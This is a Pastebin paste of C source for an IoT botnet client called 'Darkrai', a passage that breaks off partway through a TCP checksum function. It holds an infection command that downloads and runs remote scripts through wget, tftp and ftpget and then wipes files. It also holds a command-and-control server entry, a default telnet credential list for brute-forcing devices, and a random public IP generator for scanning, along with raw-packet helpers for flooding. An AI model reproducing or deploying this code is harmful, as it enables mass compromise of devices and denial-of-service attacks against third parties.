API tools faq
paste
ZucoCheezy

Darkrai-Client

ZucoCheezy
Nov 26th, 2018
84
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 101.36 KB | None | 0 0
raw download clone embed print report
  1. /*
  2. Skype: b1narythag0d
  3. XMPP: [email protected]
  4. Made Date: 7-26-16
  5. */
  6. /*
  7.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  8.  
  9. # ___     __________  ____ _______      _____ _______________.___.  ___
  10. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  11. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  12. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  13. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  14. #                  \/              \/         \/       \/ \/
  15.  
  16.                         *** DARKAI CLIENT.C ***
  17. */
  18.  
  19. #define PR_SET_NAME 15
  20. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  21. #define PAD_RIGHT 1
  22. #define PAD_ZERO 2
  23. #define PRINT_BUF_LEN 12
  24. #define CMD_IAC   255
  25. #define CMD_WILL  251
  26. #define CMD_WONT  252
  27. #define CMD_DO    253
  28. #define CMD_DONT  254
  29. #define OPT_SGA   3
  30. #define STD2_STRING "dts"
  31. #define STD2_SIZE 50
  32. #define BUFFER_SIZE 512
  33.  
  34. #include <stdlib.h>
  35. #include <stdarg.h>
  36. #include <stdio.h>
  37. #include <sys/socket.h>
  38. #include <sys/types.h>
  39. #include <netinet/in.h>
  40. #include <arpa/inet.h>
  41. #include <netdb.h>
  42. #include <signal.h>
  43. #include <strings.h>
  44. #include <string.h>
  45. #include <sys/utsname.h>
  46. #include <unistd.h>
  47. #include <fcntl.h>
  48. #include <errno.h>
  49. #include <netinet/ip.h>
  50. #include <netinet/udp.h>
  51. #include <netinet/tcp.h>
  52. #include <sys/wait.h>
  53. #include <sys/ioctl.h>
  54. #include <net/if.h>
  55. #include <pthread.h>
  56.  
  57.  
  58.  
  59.  
  60. char *infectline = "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  61. unsigned char *commServer[] =
  62. {
  63.         "0.0.0.0:666"
  64. };
  65.  
  66. char *useragents[] = {
  67.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  68.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  69.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  70.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  71.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  72.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  73.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  74.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  75.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  76.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  77.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  78.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  79.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  80.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  81.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  82.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  83.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  84.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  85.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  86.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  87.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  88.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  89.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  90. };
  91.  
  92.  
  93. int initConnection();
  94. int getBogos(unsigned char *bogomips);
  95. int getCores();
  96. int getCountry(unsigned char *buf, int bufsize);
  97. void makeRandomStr(unsigned char *buf, int length);
  98. int sockprintf(int sock, char *formatStr, ...);
  99. char *inet_ntoa(struct in_addr in);
  100.  
  101. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  102. uint32_t *pids;
  103. uint32_t scanPid;
  104. uint64_t numpids = 0;
  105. struct in_addr ourIP;
  106. unsigned char macAddress[6] = {0};
  107.  
  108. char *usernames[] = {"root\0", "support\0", "guest\0", "ubnt\0"};
  109. char *passwords[] = {"root\0", "\0", "vizxv\0", "admin\0", "123\0", "1234\0", "12345\0", "123456\0", "support\0", "ubnt\0", "7ujMko0vizxv\0", "dreambox\0", "guest\0"};
  110.  
  111. #define PHI 0x9e3779b9
  112. static uint32_t Q[4096], c = 362436;
  113.  
  114. void init_rand(uint32_t x)
  115. {
  116.         int i;
  117.  
  118.         Q[0] = x;
  119.         Q[1] = x + PHI;
  120.         Q[2] = x + PHI + PHI;
  121.  
  122.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  123. }
  124.  
  125. uint32_t rand_cmwc(void)
  126. {
  127.         uint64_t t, a = 18782LL;
  128.         static uint32_t i = 4095;
  129.         uint32_t x, r = 0xfffffffe;
  130.         i = (i + 1) & 4095;
  131.         t = a * Q[i] + c;
  132.         c = (uint32_t)(t >> 32);
  133.         x = t + c;
  134.         if (x < c) {
  135.                 x++;
  136.                 c++;
  137.         }
  138.         return (Q[i] = r - x);
  139. }
  140.  
  141. void trim(char *str)
  142. {
  143.         int i;
  144.         int begin = 0;
  145.         int end = strlen(str) - 1;
  146.  
  147.         while (isspace(str[begin])) begin++;
  148.  
  149.         while ((end >= begin) && isspace(str[end])) end--;
  150.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  151.  
  152.         str[i - begin] = '\0';
  153. }
  154.  
  155. static void printchar(unsigned char **str, int c)
  156. {
  157.         if (str) {
  158.                 **str = c;
  159.                 ++(*str);
  160.         }
  161.         else (void)write(1, &c, 1);
  162. }
  163.  
  164. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  165. {
  166.         register int pc = 0, padchar = ' ';
  167.  
  168.         if (width > 0) {
  169.                 register int len = 0;
  170.                 register const unsigned char *ptr;
  171.                 for (ptr = string; *ptr; ++ptr) ++len;
  172.                 if (len >= width) width = 0;
  173.                 else width -= len;
  174.                 if (pad & PAD_ZERO) padchar = '0';
  175.         }
  176.         if (!(pad & PAD_RIGHT)) {
  177.                 for ( ; width > 0; --width) {
  178.                         printchar (out, padchar);
  179.                         ++pc;
  180.                 }
  181.         }
  182.         for ( ; *string ; ++string) {
  183.                 printchar (out, *string);
  184.                 ++pc;
  185.         }
  186.         for ( ; width > 0; --width) {
  187.                 printchar (out, padchar);
  188.                 ++pc;
  189.         }
  190.  
  191.         return pc;
  192. }
  193.  
  194. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  195. {
  196.         unsigned char print_buf[PRINT_BUF_LEN];
  197.         register unsigned char *s;
  198.         register int t, neg = 0, pc = 0;
  199.         register unsigned int u = i;
  200.  
  201.         if (i == 0) {
  202.                 print_buf[0] = '0';
  203.                 print_buf[1] = '\0';
  204.                 return prints (out, print_buf, width, pad);
  205.         }
  206.  
  207.         if (sg && b == 10 && i < 0) {
  208.                 neg = 1;
  209.                 u = -i;
  210.         }
  211.  
  212.         s = print_buf + PRINT_BUF_LEN-1;
  213.         *s = '\0';
  214.  
  215.         while (u) {
  216.                 t = u % b;
  217.                 if( t >= 10 )
  218.                 t += letbase - '0' - 10;
  219.                 *--s = t + '0';
  220.                 u /= b;
  221.         }
  222.  
  223.         if (neg) {
  224.                 if( width && (pad & PAD_ZERO) ) {
  225.                         printchar (out, '-');
  226.                         ++pc;
  227.                         --width;
  228.                 }
  229.                 else {
  230.                         *--s = '-';
  231.                 }
  232.         }
  233.  
  234.         return pc + prints (out, s, width, pad);
  235. }
  236.  
  237. static int print(unsigned char **out, const unsigned char *format, va_list args )
  238. {
  239.         register int width, pad;
  240.         register int pc = 0;
  241.         unsigned char scr[2];
  242.  
  243.         for (; *format != 0; ++format) {
  244.                 if (*format == '%') {
  245.                         ++format;
  246.                         width = pad = 0;
  247.                         if (*format == '\0') break;
  248.                         if (*format == '%') goto out;
  249.                         if (*format == '-') {
  250.                                 ++format;
  251.                                 pad = PAD_RIGHT;
  252.                         }
  253.                         while (*format == '0') {
  254.                                 ++format;
  255.                                 pad |= PAD_ZERO;
  256.                         }
  257.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  258.                                 width *= 10;
  259.                                 width += *format - '0';
  260.                         }
  261.                         if( *format == 's' ) {
  262.                                 register char *s = (char *)va_arg( args, int );
  263.                                 pc += prints (out, s?s:"(null)", width, pad);
  264.                                 continue;
  265.                         }
  266.                         if( *format == 'd' ) {
  267.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  268.                                 continue;
  269.                         }
  270.                         if( *format == 'x' ) {
  271.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  272.                                 continue;
  273.                         }
  274.                         if( *format == 'X' ) {
  275.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  276.                                 continue;
  277.                         }
  278.                         if( *format == 'u' ) {
  279.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  280.                                 continue;
  281.                         }
  282.                         if( *format == 'c' ) {
  283.                                 scr[0] = (unsigned char)va_arg( args, int );
  284.                                 scr[1] = '\0';
  285.                                 pc += prints (out, scr, width, pad);
  286.                                 continue;
  287.                         }
  288.                 }
  289.                 else {
  290. out:
  291.                         printchar (out, *format);
  292.                         ++pc;
  293.                 }
  294.         }
  295.         if (out) **out = '\0';
  296.         va_end( args );
  297.         return pc;
  298. }
  299.  
  300. int zprintf(const unsigned char *format, ...)
  301. {
  302.         va_list args;
  303.         va_start( args, format );
  304.         return print( 0, format, args );
  305. }
  306.  
  307. int szprintf(unsigned char *out, const unsigned char *format, ...)
  308. {
  309.         va_list args;
  310.         va_start( args, format );
  311.         return print( &out, format, args );
  312. }
  313.  
  314.  
  315. int sockprintf(int sock, char *formatStr, ...)
  316. {
  317.         unsigned char *textBuffer = malloc(2048);
  318.         memset(textBuffer, 0, 2048);
  319.         char *orig = textBuffer;
  320.         va_list args;
  321.         va_start(args, formatStr);
  322.         print(&textBuffer, formatStr, args);
  323.         va_end(args);
  324.         orig[strlen(orig)] = '\n';
  325.         zprintf("buf: %s\n", orig);
  326.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  327.         free(orig);
  328.         return q;
  329. }
  330.  
  331. static int *fdopen_pids;
  332.  
  333. int fdpopen(unsigned char *program, register unsigned char *type)
  334. {
  335.         register int iop;
  336.         int pdes[2], fds, pid;
  337.  
  338.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  339.  
  340.         if (pipe(pdes) < 0) return -1;
  341.         if (fdopen_pids == NULL) {
  342.                 if ((fds = getdtablesize()) <= 0) return -1;
  343.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  344.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  345.         }
  346.  
  347.         switch (pid = vfork())
  348.         {
  349.         case -1:
  350.                 close(pdes[0]);
  351.                 close(pdes[1]);
  352.                 return -1;
  353.         case 0:
  354.                 if (*type == 'r') {
  355.                         if (pdes[1] != 1) {
  356.                                 dup2(pdes[1], 1);
  357.                                 close(pdes[1]);
  358.                         }
  359.                         close(pdes[0]);
  360.                 } else {
  361.                         if (pdes[0] != 0) {
  362.                                 (void) dup2(pdes[0], 0);
  363.                                 (void) close(pdes[0]);
  364.                         }
  365.                         (void) close(pdes[1]);
  366.                 }
  367.                 execl("/bin/sh", "sh", "-c", program, NULL);
  368.                 _exit(127);
  369.         }
  370.         if (*type == 'r') {
  371.                 iop = pdes[0];
  372.                 (void) close(pdes[1]);
  373.         } else {
  374.                 iop = pdes[1];
  375.                 (void) close(pdes[0]);
  376.         }
  377.         fdopen_pids[iop] = pid;
  378.         return (iop);
  379. }
  380.  
  381. int fdpclose(int iop)
  382. {
  383.         register int fdes;
  384.         sigset_t omask, nmask;
  385.         int pstat;
  386.         register int pid;
  387.  
  388.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  389.         (void) close(iop);
  390.         sigemptyset(&nmask);
  391.         sigaddset(&nmask, SIGINT);
  392.         sigaddset(&nmask, SIGQUIT);
  393.         sigaddset(&nmask, SIGHUP);
  394.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  395.         do {
  396.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  397.         } while (pid == -1 && errno == EINTR);
  398.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  399.         fdopen_pids[fdes] = 0;
  400.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  401. }
  402.  
  403. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  404. {
  405.         int got = 1, total = 0;
  406.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  407.         return got == 0 ? NULL : buffer;
  408. }
  409.  
  410. static const long hextable[] = {
  411.         [0 ... 255] = -1,
  412.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  413.         ['A'] = 10, 11, 12, 13, 14, 15,
  414.         ['a'] = 10, 11, 12, 13, 14, 15
  415. };
  416.  
  417. long parseHex(unsigned char *hex)
  418. {
  419.         long ret = 0;
  420.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  421.         return ret;
  422. }
  423.  
  424. int wildString(const unsigned char* pattern, const unsigned char* string) {
  425.         switch(*pattern)
  426.         {
  427.         case '\0': return *string;
  428.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  429.         case '?': return !(*string && !wildString(pattern+1, string+1));
  430.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  431.         }
  432. }
  433.  
  434. int getHost(unsigned char *toGet, struct in_addr *i)
  435. {
  436.         struct hostent *h;
  437.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  438.         return 0;
  439. }
  440.  
  441. void uppercase(unsigned char *str)
  442. {
  443.         while(*str) { *str = toupper(*str); str++; }
  444. }
  445.  
  446. int getBogos(unsigned char *bogomips)
  447. {
  448.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  449.         char linebuf[4096];
  450.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  451.         {
  452.                 uppercase(linebuf);
  453.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  454.                 {
  455.                         unsigned char *pos = linebuf + 8;
  456.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  457.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  458.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  459.                         strcpy(bogomips, pos);
  460.                         close(cmdline);
  461.                         return 0;
  462.                 }
  463.                 memset(linebuf, 0, 4096);
  464.         }
  465.         close(cmdline);
  466.         return 1;
  467. }
  468.  
  469. int getCores()
  470. {
  471.         int totalcores = 0;
  472.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  473.         char linebuf[4096];
  474.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  475.         {
  476.                 uppercase(linebuf);
  477.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  478.                 memset(linebuf, 0, 4096);
  479.         }
  480.         close(cmdline);
  481.         return totalcores;
  482.  
  483. }
  484.  
  485. void makeRandomStr(unsigned char *buf, int length)
  486. {
  487.         int i = 0;
  488.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  489. }
  490.  
  491. int recvLine(int socket, unsigned char *buf, int bufsize)
  492. {
  493.         memset(buf, 0, bufsize);
  494.  
  495.         fd_set myset;
  496.         struct timeval tv;
  497.         tv.tv_sec = 30;
  498.         tv.tv_usec = 0;
  499.         FD_ZERO(&myset);
  500.         FD_SET(socket, &myset);
  501.         int selectRtn, retryCount;
  502.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  503.                 while(retryCount < 10)
  504.                 {
  505.                         sockprintf(mainCommSock, "PING");
  506.  
  507.                         tv.tv_sec = 30;
  508.                         tv.tv_usec = 0;
  509.                         FD_ZERO(&myset);
  510.                         FD_SET(socket, &myset);
  511.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  512.                                 retryCount++;
  513.                                 continue;
  514.                         }
  515.  
  516.                         break;
  517.                 }
  518.         }
  519.  
  520.         unsigned char tmpchr;
  521.         unsigned char *cp;
  522.         int count = 0;
  523.  
  524.         cp = buf;
  525.         while(bufsize-- > 1)
  526.         {
  527.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  528.                         *cp = 0x00;
  529.                         return -1;
  530.                 }
  531.                 *cp++ = tmpchr;
  532.                 if(tmpchr == '\n') break;
  533.                 count++;
  534.         }
  535.         *cp = 0x00;
  536.  
  537. //      zprintf("recv: %s\n", cp);
  538.  
  539.         return count;
  540. }
  541.  
  542. int connectTimeout(int fd, char *host, int port, int timeout)
  543. {
  544.         struct sockaddr_in dest_addr;
  545.         fd_set myset;
  546.         struct timeval tv;
  547.         socklen_t lon;
  548.  
  549.         int valopt;
  550.         long arg = fcntl(fd, F_GETFL, NULL);
  551.         arg |= O_NONBLOCK;
  552.         fcntl(fd, F_SETFL, arg);
  553.  
  554.         dest_addr.sin_family = AF_INET;
  555.         dest_addr.sin_port = htons(port);
  556.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  557.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  558.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  559.  
  560.         if (res < 0) {
  561.                 if (errno == EINPROGRESS) {
  562.                         tv.tv_sec = timeout;
  563.                         tv.tv_usec = 0;
  564.                         FD_ZERO(&myset);
  565.                         FD_SET(fd, &myset);
  566.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  567.                                 lon = sizeof(int);
  568.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  569.                                 if (valopt) return 0;
  570.                         }
  571.                         else return 0;
  572.                 }
  573.                 else return 0;
  574.         }
  575.  
  576.         arg = fcntl(fd, F_GETFL, NULL);
  577.         arg &= (~O_NONBLOCK);
  578.         fcntl(fd, F_SETFL, arg);
  579.  
  580.         return 1;
  581. }
  582.  
  583. int listFork()
  584. {
  585.         uint32_t parent, *newpids, i;
  586.         parent = fork();
  587.         if (parent <= 0) return parent;
  588.         numpids++;
  589.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  590.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  591.         newpids[numpids - 1] = parent;
  592.         free(pids);
  593.         pids = newpids;
  594.         return parent;
  595. }
  596.  
  597. int negotiate(int sock, unsigned char *buf, int len)
  598. {
  599.         unsigned char c;
  600.  
  601.         switch (buf[1]) {
  602.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  603.         case CMD_WILL:
  604.         case CMD_WONT:
  605.         case CMD_DO:
  606.         case CMD_DONT:
  607.                 c = CMD_IAC;
  608.                 send(sock, &c, 1, MSG_NOSIGNAL);
  609.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  610.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  611.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  612.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  613.                 send(sock, &c, 1, MSG_NOSIGNAL);
  614.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  615.                 break;
  616.  
  617.         default:
  618.                 break;
  619.         }
  620.  
  621.         return 0;
  622. }
  623.  
  624. int matchPrompt(char *bufStr)
  625. {
  626.         char *prompts = ":>%$#\0";
  627.  
  628.         int bufLen = strlen(bufStr);
  629.         int i, q = 0;
  630.         for(i = 0; i < strlen(prompts); i++)
  631.         {
  632.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  633.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  634.         }
  635.  
  636.         return 0;
  637. }
  638.  
  639. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  640. {
  641.         int bufferUsed = initialIndex, got = 0, found = 0;
  642.         fd_set myset;
  643.         struct timeval tv;
  644.         tv.tv_sec = timeout;
  645.         tv.tv_usec = timeoutusec;
  646.         unsigned char *initialRead = NULL;
  647.  
  648.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  649.         {
  650.                 FD_ZERO(&myset);
  651.                 FD_SET(fd, &myset);
  652.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  653.                 initialRead = buffer + bufferUsed;
  654.                 got = recv(fd, initialRead, 1, 0);
  655.                 if(got == -1 || got == 0) return 0;
  656.                 bufferUsed += got;
  657.                 if(*initialRead == 0xFF)
  658.                 {
  659.                         got = recv(fd, initialRead + 1, 2, 0);
  660.                         if(got == -1 || got == 0) return 0;
  661.                         bufferUsed += got;
  662.                         if(!negotiate(fd, initialRead, 3)) return 0;
  663.                 } else {
  664.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  665.                 }
  666.         }
  667.  
  668.         if(found) return 1;
  669.         return 0;
  670. }
  671.  
  672. static uint8_t ipState[5] = {0};
  673. in_addr_t getRandomPublicIP()
  674. {
  675.         if(ipState[1] > 0 && ipState[4] < 255)
  676.         {
  677.                 ipState[4]++;
  678.                 char ip[16] = {0};
  679.                 szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  680.                 return inet_addr(ip);
  681.         }
  682.        
  683.         ipState[0] = rand() % 255;
  684.         ipState[1] = rand() % 255;
  685.         ipState[2] = rand() % 255;
  686.         ipState[3] = rand() % 255;
  687.  
  688.         while(
  689.                 (ipState[0] == 0) ||
  690.                 (ipState[0] == 10) ||
  691.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  692.                 (ipState[0] == 127) ||
  693.                 (ipState[0] == 169 && ipState[1] == 254) ||
  694.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  695.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  696.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  697.                 (ipState[0] == 192 && ipState[1] == 168) ||
  698.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  699.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  700.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  701.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  702.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  703.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  704.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  705.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  706.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  707.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  708.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  709.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  710.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  711.                 (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  712.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  713.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  714.                 (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  715.                 (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  716.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  717.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  718.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  719.                 (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  720.                 (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  721.                 (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  722.                 (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  723.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  724.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  725.                 (ipState[0] == 208 && ipState[1] == 67) ||
  726.                 (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  727.                 (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  728.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  729.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  730.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  731.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  732.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  733.                 (ipState[0] >= 224)
  734.             )
  735.         {
  736.                 ipState[0] = rand() % 255;
  737.                 ipState[1] = rand() % 255;
  738.                 ipState[2] = rand() % 255;
  739.                 ipState[3] = rand() % 255;
  740.         }
  741.  
  742.         char ip[16] = {0};
  743.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  744.         return inet_addr(ip);
  745. }
  746.  
  747. in_addr_t getRandomIP(in_addr_t netmask)
  748. {
  749.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  750.         return tmp ^ ( rand_cmwc() & ~netmask);
  751. }
  752.  
  753. unsigned short csum (unsigned short *buf, int count)
  754. {
  755.         register uint64_t sum = 0;
  756.         while( count > 1 ) { sum += *buf++; count -= 2; }
  757.         if(count > 0) { sum += *(unsigned char *)buf; }
  758.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  759.         return (uint16_t)(~sum);
  760. }
  761.  
  762. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  763. {
  764.  
  765.         struct tcp_pseudo
  766.         {
  767.                 unsigned long src_addr;
  768.                 unsigned long dst_addr;
  769.                 unsigned char zero;
  770.                 unsigned char proto;
  771.                 unsigned short length;
  772.         } pseudohead;
  773.         unsigned short total_len = iph->tot_len;
  774.         pseudohead.src_addr=iph->saddr;
  775.         pseudohead.dst_addr=iph->daddr;
  776.         pseudohead.zero=0;
  777.         pseudohead.proto=IPPROTO_TCP;
  778.         pseudohead.length=htons(sizeof(struct tcphdr));
  779.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
